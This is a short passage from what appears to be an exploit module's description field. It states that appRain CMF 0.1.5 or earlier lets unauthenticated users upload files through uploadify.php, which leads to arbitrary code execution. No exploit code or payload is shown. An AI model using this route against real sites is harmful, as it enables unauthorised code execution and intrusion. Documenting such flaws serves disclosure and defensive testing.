'Description' => %q{  
This module exploits a vulnerability found in appRain's Content Management  
Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a  
malicious user can upload a file to the uploads/ directory without any  
authentication, which results in arbitrary code execution.
